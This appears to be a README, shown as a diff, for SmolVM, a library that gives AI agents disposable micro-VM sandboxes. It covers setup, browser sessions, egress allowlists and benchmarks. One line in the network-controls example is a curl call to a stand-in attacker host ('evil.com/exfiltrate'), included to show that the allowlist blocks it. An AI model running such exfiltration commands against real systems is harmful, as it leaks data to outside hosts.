+ [![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)
11
+ [![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)
12
+ [![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)
13
+ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)
14
+
15
+ [Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q)
16
+
17
+ </div>
18
+
19
+ ---
20
+
21
+ SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.
22
+
23
+
24
+ ## Features
25
+
26
+ - **Sub-second boot** — VMs ready in ~500 ms.
27
+ - **Hardware isolation** — Stronger security than containers.
28
+ - **Network controls** — Domain allowlists for egress filtering.
29
+ - **Browser sessions** — Full browser agents can see and control.
30
+ - **Snapshots** — Save and restore VM state instantly.
31
+ - **OpenClaw** — GUI Linux apps inside a sandbox.
32
+
33
+
34
+ ## Use cases
35
+
36
+ - **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.
37
+ - **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.
38
+ - **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.
39
+
40
+
41
+ ## Quickstart
42
+
43
+ 1. Install the package.
44
+
45
+ ```bash
46
+ pip install smolvm
47
+ ```
48
+
49
+ 2. Run the one-time setup for your machine.
50
+
51
+ ```bash
52
+ smolvm setup
53
+ ```
54
+
55
+ Linux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.
56
+
57
+ 3. Check that the runtime is ready.
58
+
59
+ ```bash
60
+ smolvm doctor
61
+ ```
62
+
63
+ ### Start a sandbox in Python
64
+
65
+ ```python
66
+ from smolvm import SmolVM
67
+
68
+ with SmolVM() as vm:
69
+ result = vm.run("echo 'Hello from the sandbox!'")
70
+ print(result.stdout.strip())
71
+ ```
72
+
73
+ The `with` block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.
74
+
75
+
76
+ ### Start a sandbox from the CLI
77
+
78
+ Create a sandbox, check that it's running, then stop it:
79
+
80
+ ```bash
81
+ smolvm create --name my-sandbox
82
+ # my-sandbox running 172.16.0.2
83
+
84
+ smolvm list
85
+ # NAME STATUS IP
86
+ # my-sandbox running 172.16.0.2
87
+
88
+ smolvm stop my-sandbox
89
+ ```
90
+
91
+ Open a shell inside a running sandbox:
92
+
93
+ ```bash
94
+ smolvm ssh my-sandbox
95
+ ```
96
+
97
+
98
+ ## Browser sessions
99
+
100
+ SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.
101
+
102
+ Start a browser session with a live view you can watch in your own browser:
103
+
104
+ ```bash
105
+ smolvm browser start --live
106
+ # Session: sess_a1b2c3
107
+ # Live view: http://localhost:6080
108
+ ```
109
+
110
+ Open the URL to watch the browser in real time. When you're done, list and stop sessions:
111
+
112
+ ```bash
113
+ smolvm browser list
114
+ smolvm browser stop sess_a1b2c3
115
+ ```
116
+
117
+ See [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.
118
+
119
+
120
+ ## Network controls
121
+
122
+ By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:
123
+
124
+ ```python
125
+ from smolvm import SmolVM
126
+
127
+ vm = SmolVM(internet_settings={
128
+ "allowed_domains": ["https://api.openai.com"],
129
+ })
130
+
131
+ vm.run("curl https://api.openai.com/v1/models") # allowed
132
+ vm.run("curl https://evil.com/exfiltrate") # blocked
133
+ ```
134
+
135
+ See [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.
136
+
137
+
138
+ ## Examples
139
+
140
+ ### Getting started
141
+
142
+ | What you'll learn | Example |
143
+ | --- | --- |
144
+ | Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |
145
+ | Start a browser session | [browser_session.py](examples/browser_session.py) |
146
+ | Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |
147
+
148
+ ### Agent framework integrations
149
+
150
+ These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.
151
+
152
+ | Framework | Example |
153
+ | --- | --- |
154
+ | OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |
155
+ | LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |
156
+ | PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |
157
+ | PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |
158
+ | PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |
159
+ | Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |
160
+
161
+ ### Advanced
162
+
163
+ | What it does | Example |
164
+ | --- | --- |
165
+ | Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |
166
+
167
+ Each script shows its own `pip install ...` line when it needs extra packages.
168
+
169
+
170
+ ## Security
171
+
172
+ SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.
173
+
174
+
175
+ ## Performance
176
+
177
+ Median lifecycle timings on a standard Linux host:
178
+
179
+ | Phase | Time |
180
+ | --- | --- |
181
+ | Create + Start | ~572 ms |
182
+ | Ready to accept commands | ~2.1 s |
183
+ | Command execution | ~43 ms |
184
+ | Stop + Delete | ~751 ms |
185
+ | **Full lifecycle (boot, run, teardown)** | **~3.5 s** |
186
+
187
+ Run the benchmark yourself:
188
+
189
+ ```bash
190
+ python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v
191
+ ```
192
+
193
+ Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses [Firecracker](https://firecracker-microvm.github.io/), a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.
194
+
195
+
196
+ ## Contributing
197
+
198
+ See [CONTRIBUTING.md](CONTRIBUTING.md) to get started.
199
+
200
+
201
+ ## License
202
+
203
+ Apache 2.0 — see [LICENSE](LICENSE) for details.
204
+
205
+ ---
206
+ <div align="center">
207
+ Built with 🧡 in London by <a href="https://celesto.ai">Celesto AI</a>
208
+ </div>